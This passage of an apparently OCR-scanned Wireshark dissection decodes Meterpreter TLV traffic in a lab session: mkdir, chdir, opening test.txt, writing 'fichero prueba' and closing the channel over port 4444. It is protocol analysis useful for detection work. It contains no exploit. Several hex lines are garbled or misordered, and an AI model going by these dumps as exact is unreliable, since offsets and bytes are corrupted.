   Data: 7374646170695f66735f6d6b64697200 [Value] stdapi_fs_mkdir
Meterpreter protocol, TLV details
   Data: 000000290001000232313236363135303436333737363835... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 323132363631353034363337373638353738383031353438... [Value] 21266150463776857880154881678200
Meterpreter protocol, TLV details
   Data: 000000d000104b074657374 [TLV]
   Command: 0x0000000d [Length]: 13
   Type: 0x000104b0 [Type: Request]: TLV_TYPE_DIRECTORY_PATH
   Data: 7465737400 [Value] test
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                       ..'oz...'....E.
0010 00 8a 2f 58 40 00 40 06 f5 07 0a 00 01 05 0a 00
                                                       ../X@.@.....
0020 01 0a 11 5c d9 d2 14 78 2b 6d 06 18 a7 05 80 18
                                                       ...\...x+m.....
0030 00 2d c9 09 00 00 01 01 08 0a 00 0a 11 92 00 0e
                                                       .-....
0040 63 99 00 00 00 56 00 00 00 00 00 00 00 18 00 01
                                                       c....V......
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 6d 6b 64 69
                                                       ..stdapi_fs_mkdi
0060 72 00 00 00 00 29 00 01 00 02 32 31 32 36 36 31
                                                       r....)....212661
0070 35 30 34 36 33 37 37 36 38 35 37 38 38 30 31 35
                                                       5046377685788015
0080 34 38 38 31 36 37 38 32 30 30 00 00 00 00 0d 00
                                                       4881678200.....
```

...test.

0090 01 04 b0 74 65 73 74 00

```
Frame 31: 151 bytes on wire (1208 bits), 151 bytes captured (1208 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 2148, Ack: 985, Len: 85
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000055 [Command length]: 85
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000018000100017374646170695f66735f6d6b64697200... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000018000100017374646170695f66735f6d6b646972 [TLV]
   Command: 0x00000018 [Length]: 24
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f6d6b64697200 [Value] stdapi_fs_mkdir
Meterpreter protocol, TLV details
   Data: 000000290001000232313236363135303436333737363835... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 323132363631353034363337373638353738383031353438... [Value] 21266150463776857880154881678200
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                      ..'....'oz...E.
0010 00 89 0e b6 40 00 40 06 15 ab 0a 00 01 0a 0a 00
                                                      . . . . . @ . @ . . . . . . . . .
0020 01 05 d9 d2 11 5c 06 18 a7 05 14 78 2b c3 80 18
                                                      .....\....x+...
....j...
0040 11 92 00 00 00 55 00 00 00 01 00 00 00 18 00 01
                                                      .....U......
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 6d 6b 64 69
                                                      ..stdapi_fs_mkdi
0060 72 00 00 00 00 29 00 01 00 02 32 31 32 36 36 31
                                                      r....)....212661
0070 35 30 34 36 33 37 37 36 38 35 37 38 38 30 31 35
                                                      5046377685788015
0080 34 38 38 31 36 37 38 32 30 30 00 00 00 00 0c 00
                                                      4881678200.....
```

0090 02 00 04 00 00 00 00

Frame 32: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 985, Ack: 2233, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ...oz......E.
0010 00 34 2f 59 40 00 40 06 f5 5c 0a 00 01 05 0a 00 .4/Y@.@..\.....
0020 01 0a 11 5c d9 d2 14 78 2b c3 06 18 a7 5a 80 10 ...\.x+...Z..
0030 00 2d 0b 6d 00 00 01 01 08 0a 00 0a 11 92 00 0e .-m........

0040 6a 8e

```
Frame 33: 152 bytes on wire (1216 bits), 152 bytes captured (1216 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 985, Ack: 2233, Len: 86
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000056 [Command length]: 86
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000018000100017374646170695f66735f636864697200... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000018000100017374646170695f66735f6368646972 [TLV]
   Command: 0x00000018 [Length]: 24
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f636864697200 [Value] stdapi_fs_chdir
Meterpreter protocol, TLV details
   Data: 000000290001000236383338383636393533303334353837... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 36383383836363935333033343538373034353133343333... [Value] 68388669530345870451343324646578
Meterpreter protocol, TLV details
   Data: 000000d000104b074657374 [TLV]
   Command: 0x0000000d [Length]: 13
   Type: 0x000104b0 [Type: Request]: TLV_TYPE_DIRECTORY_PATH
   Data: 7465737400 [Value] test
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                       ..'oz...'....E.
0010 00 8a 2f 5a 40 00 40 06 f5 05 0a 00 01 05 0a 00
                                                       ../Z@.@.....
0020 01 0a 11 5c d9 d2 14 78 2b c3 06 18 a7 5a 80 18
                                                       ...\...x+....Z..
0030 00 2d d0 5f 00 00 01 01 08 0a 00 0a 13 8c 00 0e
                                                       .-._.......
0040 6a 8e 00 00 00 56 00 00 00 00 00 00 00 18 00 01
                                                       j....V......
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 63 68 64 69
                                                       ..stdapi_fs_chdi
0060 72 00 00 00 00 29 00 01 00 02 36 38 33 38 38 36
                                                       r....)....683886
0070 36 39 35 33 30 33 34 35 38 37 30 34 35 31 33 34
                                                       6953034587045134
0080 33 33 32 34 36 34 36 35 37 38 00 00 00 00 0d 00
                                                       3324646578.....
```

...test.

0090 01 04 b0 74 65 73 74 00

```
Frame 34: 151 bytes on wire (1208 bits), 151 bytes captured (1208 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 2233, Ack: 1071, Len: 85
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000055 [Command length]: 85
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000018000100017374646170695f66735f636864697200... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000018000100017374646170695f66735f6368646972 [TLV]
   Command: 0x00000018 [Length]: 24
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f636864697200 [Value] stdapi_fs_chdir
Meterpreter protocol, TLV details
   Data: 000000290001000236383338383636393533303334353837... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 36383383836363935333033343538373034353133343333... [Value] 68388669530345870451343324646578
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                     ..'....'oz...E.
0010 00 89 0e b7 40 00 40 06 15 aa 0a 00 01 0a 0a 00
                                                     ....@.@......
0020 01 05 d9 d2 11 5c 06 18 a7 5a 14 78 2c 19 80 18
                                                     ....\...Z.x,...
.....1....
0040 13 8c 00 00 00 55 00 00 00 01 00 00 00 18 00 01
                                                     .....U......
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 63 68 64 69
                                                     ..stdapi_fs_chdi
0060 72 00 00 00 00 29 00 01 00 02 36 38 33 38 38 36
                                                     r....)....683886
0070 36 39 35 33 30 33 34 35 38 37 30 34 35 31 33 34
                                                     6953034587045134
0080 33 33 32 34 36 34 36 35 37 38 00 00 00 00 0c 00
                                                     3324646578.....
```

0090 02 00 04 00 00 00 00

Frame 35: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1071, Ack: 2318, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ..'oz...'....E.
0010 00 34 2f 5b 40 00 40 06 f5 5a 0a 00 01 05 0a 00 .4/[@.@.Z.....
0020 01 0a 11 5c d9 d2 14 78 2c 19 06 18 a7 af 80 10 ...\.x,......
0030 00 2d 06 cd 00 00 01 01 08 0a 00 0a 13 8c 00 0e

0040 6c 89

```
Frame 36: 217 bytes on wire (1736 bits), 217 bytes captured (1736 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1071, Ack: 2318, Len: 151
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000097 [Command length]: 151
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [TLV]
   Command: 0x0000001a [Length]: 26
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f6f70656e00 [Value] core_channel_open
Meterpreter protocol, TLV details
   Data: 000000290001000231333631373931373332363230323735... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 313336313739313733323632303237353437323434343036... [Value] 13617917326202754724440656406906
Meterpreter protocol, TLV details
   Data: 00000017000100337374646170695f66735f66696c65 [TLV]
   Command: 0x00000017 [Length]: 23
   Type: 0x00010033 [Type: Request]: TLV_TYPE_CHANNEL_TYPE
   Data: 7374646170695f66735f66696c6500 [Value] stdapi_fs_file
Meterpreter protocol, TLV details
   Data: 0000000c00020036000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020036 [Type: Request]: TLV_TYPE_CHANNEL_CLASS
   Data: 00000003 [Value] 3
Meterpreter protocol, TLV details
   Data: 0000000c0002001b000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x0002001b [Type: Request]: TLV_TYPE_FLAGS
   Data: 00000001 [Value] ERROR
Meterpreter protocol, TLV details
   Data: 00000011000104b2746573742e747874 [TLV]
   Command: 0x00000011 [Length]: 17
   Type: 0x000104b2 [Type: Request]: TLV_TYPE_FILE_PATH
   Data: 746573742e74787400 [Value] test.txt
Meterpreter protocol, TLV details
   Data: 0000000c000104b3726262 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x000104b3 [Type: Request]: TLV_TYPE_FILE_MODE
   Data: 72626200 [Value] 1919050240
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                      ..'oz...'....E.
0010 00 cb 2f 5c 40 00 40 06 f4 c2 0a 00 01 05 0a 00
                                                       ../\@.@.....
...\...x,.....
0030 00 2d 3e 73 00 00 01 01 08 0a 00 0a 1a 13 00 0e
0040 6c 89 00 00 00 97 00 00 00 00 00 00 00 1a 00 01
                                                      1.....
                                                       ..core_channel_o
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 6f
0060 70 65 6e 00 00 00 00 29 00 01 00 02 31 33 36 31
                                                      pen....)....1361
0070 37 39 31 37 33 32 36 32 30 32 37 35 34 37 32 34
                                                      7917326202754724
0800
     34 34 30 36 35 36 34 30 36 39 30 36 00 00 00 00
                                                      440656406906....
0090 17 00 01 00 33 73 74 64 61 70 69 5f 66 73 5f 66
                                                       ....3stdapi_fs_f
00a0 69 6c 65 00 00 00 00 0c 00 02 00 36 00 00 00 03
                                                      ile.....6....
00b0 00 00 00 0c 00 02 00 1b 00 00 00 01 00 00 00 11
00c0
     00 01 04 b2 74 65 73 74 2e 74 78 74 00 00 00 00
                                                      ....test.txt....
```

....rbb.

00d0 0c 00 01 04 b3 72 62 62 00

```
Frame 37: 153 bytes on wire (1224 bits), 153 bytes captured (1224 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 2318, Ack: 1222, Len: 87
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000057 [Command length]: 87
   Type: 0x00000001 [Command type: Response]: 1
   Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [TLV]
   Command: 0x0000001a [Length]: 26
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f6f70656e00 [Value] core_channel_open
Meterpreter protocol, TLV details
   Data: 000000290001000231333631373931373332363230323735... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 313336313739313733323632303237353437323434343036... [Value] 13617917326202754724440656406906
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000001 [Value] ERROR
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                    ..'....'oz...E.
0010 00 8b 0e b8 40 00 40 06 15 a7 0a 00 01 0a 0a 00
                                                    ....@.@......
0020 01 05 d9 d2 11 5c 06 18 a7 af 14 78 2c b0 80 18
                                                    .....\....x,...
....s...
....W......
                                                    ..core_channel_o
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 6f
0060 70 65 6e 00 00 00 00 29 00 01 00 02 31 33 36 31
                                                    pen....)....1361
0070 37 39 31 37 33 32 36 32 30 32 37 35 34 37 32 34
                                                    7917326202754724
0080 34 34 30 36 35 36 34 30 36 39 30 36 00 00 00 00
                                                    440656406906....
```

0090 Oc 00 02 00 04 00 00 00 01

0040 73 0e

```
Frame 39: 217 bytes on wire (1736 bits), 217 bytes captured (1736 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1222, Ack: 2405, Len: 151
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000097 [Command length]: 151
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [TLV]
   Command: 0x0000001a [Length]: 26
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f6f70656e00 [Value] core_channel_open
Meterpreter protocol, TLV details
   Data: 000000290001000237303839373635313234383937313539... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 373038393736353132343839373135393136303031303436... [Value] 70897651248971591600104653779482
Meterpreter protocol, TLV details
   Data: 00000017000100337374646170695f66735f66696c65 [TLV]
   Command: 0x00000017 [Length]: 23
   Type: 0x00010033 [Type: Request]: TLV_TYPE_CHANNEL_TYPE
   Data: 7374646170695f66735f66696c6500 [Value] stdapi_fs_file
Meterpreter protocol, TLV details
   Data: 0000000c00020036000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020036 [Type: Request]: TLV_TYPE_CHANNEL_CLASS
   Data: 00000003 [Value] 3
Meterpreter protocol, TLV details
   Data: 0000000c0002001b000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x0002001b [Type: Request]: TLV_TYPE_FLAGS
   Data: 00000001 [Value] ERROR
Meterpreter protocol, TLV details
   Data: 00000011000104b2746573742e747874 [TLV]
   Command: 0x00000011 [Length]: 17
   Type: 0x000104b2 [Type: Request]: TLV_TYPE_FILE_PATH
   Data: 746573742e74787400 [Value] test.txt
Meterpreter protocol, TLV details
   Data: 0000000c000104b3776262 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x000104b3 [Type: Request]: TLV_TYPE_FILE_MODE
   Data: 77626200 [Value] 2002936320
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                       ..'oz...'....E.
0010 00 cb 2f 5e 40 00 40 06 f4 c0 0a 00 01 05 0a 00
                                                       ../^@.@.....
...\...x,.....
0030 00 2d 15 b5 00 00 01 01 08 0a 00 0a 1f 5f 00 0e
0040 73 0e 00 00 00 97 00 00 00 00 00 00 00 1a 00 01
                                                      S...........
                                                       ..core_channel_o
0050
     00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 6f
0060 70 65 6e 00 00 00 00 29 00 01 00 02 37 30 38 39
                                                       pen....)....7089
0070 37 36 35 31 32 34 38 39 37 31 35 39 31 36 30 30
                                                       7651248971591600
0800
     31 30 34 36 35 33 37 37 39 34 38 32 00 00 00 00
                                                      104653779482....
0090 17 00 01 00 33 73 74 64 61 70 69 5f 66 73 5f 66
                                                       ....3stdapi_fs_f
00a0 69 6c 65 00 00 00 00 0c 00 02 00 36 00 00 00 03
                                                       ile.....6....
00b0 00 00 00 0c 00 02 00 1b 00 00 00 01 00 00 00 11
00c0
     00 01 04 b2 74 65 73 74 2e 74 78 74 00 00 00 00
                                                       ....test.txt....
```

....wbb.

00d0 0c 00 01 04 b3 77 62 62 00

```
Frame 40: 165 bytes on wire (1320 bits), 165 bytes captured (1320 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 2405, Ack: 1373, Len: 99
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000063 [Command length]: 99
   Type: 0x00000001 [Command type: Response]: 1
   Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [TLV]
   Command: 0x0000001a [Length]: 26
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f6f70656e00 [Value] core_channel_open
Meterpreter protocol, TLV details
   Data: 000000290001000237303839373635313234383937313539... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 373038393736353132343839373135393136303031303436... [Value] 70897651248971591600104653779482
Meterpreter protocol, TLV details
   Data: 0000000c00020032000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020032 [Type: Response]: TLV_TYPE_CHANNEL_ID
   Data: 00000001 [Value] ERROR
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                      ..'....'oz...E.
0010 00 97 0e b9 40 00 40 06 15 9a 0a 00 01 0a 0a 00
                                                      ....@.@......
                                                      .....\....x-G..
0030   0a fe 16 98 00 00 01 01 08 0a 00 0e 78 5a 00 0a
                                                      .....xZ..
                                                      ._...c......
0040    1f 5f 00 00 00 63 00 00 00 01 00 00 00 1a 00 01
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 6f
                                                      ..core_channel_o
0060 70 65 6e 00 00 00 00 29 00 01 00 02 37 30 38 39
                                                      pen....)....7089
0070 37 36 35 31 32 34 38 39 37 31 35 39 31 36 30 30
                                                      7651248971591600
0080 31 30 34 36 35 33 37 37 39 34 38 32 00 00 00 00
                                                      104653779482....
0090 Oc 00 02 00 32 00 00 00 01 00 00 00 0c 00 02 00
                                                      ....2......
00a0 04 00 00 00 00
```

Frame 41: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae) Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10 Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1373, Ack: 2504, Len: 0 0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ..'oz...'....E. 0010 00 34 2f 5f 40 00 40 06 f5 56 0a 00 01 05 0a 00 .4/_@.@..V..... 0020 01 0a 11 5c d9 d2 14 78 2d 47 06 18 a8 69 80 10 ...\...x-G...i.. 0030 00 2d ed 40 00 00 01 01 08 0a 00 0a 1f 5f 00 0e

xΖ

0040 78 5a

.-.@............

```
Frame 42: 189 bytes on wire (1512 bits), 189 bytes captured (1512 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1373, Ack: 2504, Len: 123
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000007b [Command length]: 123
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [TLV]
   Command: 0x0000001b [Length]: 27
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f777269746500 [Value] core_channel_write
Meterpreter protocol, TLV details
   Data: 000000290001000235373939383237393530363730383538... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 353739393832373935303637303835383138313439303435... [Value] 57998279506708581814904571531058
Meterpreter protocol, TLV details
   Data: 0000000c00020032000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
   Data: 00000001 [Value] ERROR
Meterpreter protocol, TLV details
   Data: 00000017000400346669636865726f20707275656261 [TLV]
   Command: 0x00000017 [Length]: 23
   Type: 0x00040034 [Type: Request]: TLV_TYPE_CHANNEL_DATA
   Data: 6669636865726f207072756562610a [Value] fichero prueba
Meterpreter protocol, TLV details
   Data: 0000000c00020019000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020019 [Type: Request]: TLV_TYPE_LENGTH
   Data: 0000000f [Value] 15
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                      ..'oz...'....E.
0010 00 af 2f 60 40 00 40 06 f4 da 0a 00 01 05 0a 00
                                                      ../`@.@.....
...\...x-G...i..
0030 00 2d 8e d2 00 00 01 01 08 0a 00 0a 1f 78 00 0e
                                                       .-...x..
0040 78 5a 00 00 00 7b 00 00 00 00 00 00 00 1b 00 01
                                                      xZ...{......
                                                      ..core_channel_w
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 77
0060
     72 69 74 65 00 00 00 00 29 00 01 00 02 35 37 39
                                                      rite....)....579
0070 39 38 32 37 39 35 30 36 37 30 38 35 38 31 38 31
                                                      9827950670858181
0080 34 39 30 34 35 37 31 35 33 31 30 35 38 00 00 00
                                                      4904571531058...
0090 00 0c 00 02 00 32 00 00 00 01 00 00 00 17 00 04
                                                      . . . . . . 2 . . . . . . . . .
```

.4fichero prueba

00a0 00 34 66 69 63 68 65 72 6f 20 70 72 75 65 62 61

```
Frame 43: 166 bytes on wire (1328 bits), 166 bytes captured (1328 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 2504, Ack: 1496, Len: 100
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000064 [Command length]: 100
   Type: 0x00000001 [Command type: Response]: 1
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [TLV]
   Command: 0x0000001b [Length]: 27
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f777269746500 [Value] core_channel_write
Meterpreter protocol, TLV details
   Data: 000000290001000235373939383237393530363730383538... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 353739393832373935303637303835383138313439303435... [Value] 57998279506708581814904571531058
Meterpreter protocol, TLV details
   Data: 0000000c00020019000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020019 [Type: Response]: TLV_TYPE_LENGTH
   Data: 0000000f [Value] 15
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                      ..'.....'oz...E.
0010 00 98 0e ba 40 00 40 06 15 98 0a 00 01 0a 0a 00
                                                      ....@.@......
                                                      ....\...i.x-...
0030   0a fe 16 99 00 00 01 01 08 0a 00 0e 78 73 00 0a
0040    1f 78 00 00 00 64 00 00 00 01 00 00 00 1b 00 01
                                                      .x...d......
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 77
                                                      ..core_channel_w
0060 72 69 74 65 00 00 00 00 29 00 01 00 02 35 37 39
                                                      rite....)....579
0070 39 38 32 37 39 35 30 36 37 30 38 35 38 31 38 31
                                                     9827950670858181
0080 34 39 30 34 35 37 31 35 33 31 30 35 38 00 00 00
                                                     4904571531058...
0090 00 0c 00 02 00 19 00 00 00 0f 00 00 00 0c 00 02
                                                      00a0 00 04 00 00 00 00
```

Frame 44: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1496, Ack: 2604, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ..'oz...'....E.
0010 00 34 2f 61 40 00 40 06 f5 54 0a 00 01 05 0a 00 .4/a@.@.T.....
0020 01 0a 11 5c d9 d2 14 78 2d c2 06 18 a8 cd 80 10 ...\...x-.....

xs

.-./....x..

0030 00 2d ec 2f 00 00 01 01 08 0a 00 0a 1f 78 00 0e

0040 78 73

```
Frame 45: 154 bytes on wire (1232 bits), 154 bytes captured (1232 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1496, Ack: 2604, Len: 88
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000058 [Command length]: 88
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [TLV]
   Command: 0x0000001b [Length]: 27
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f636c6f736500 [Value] core_channel_close
Meterpreter protocol, TLV details
   Data: 000000290001000239363730353535353237363739323831... [TLV]
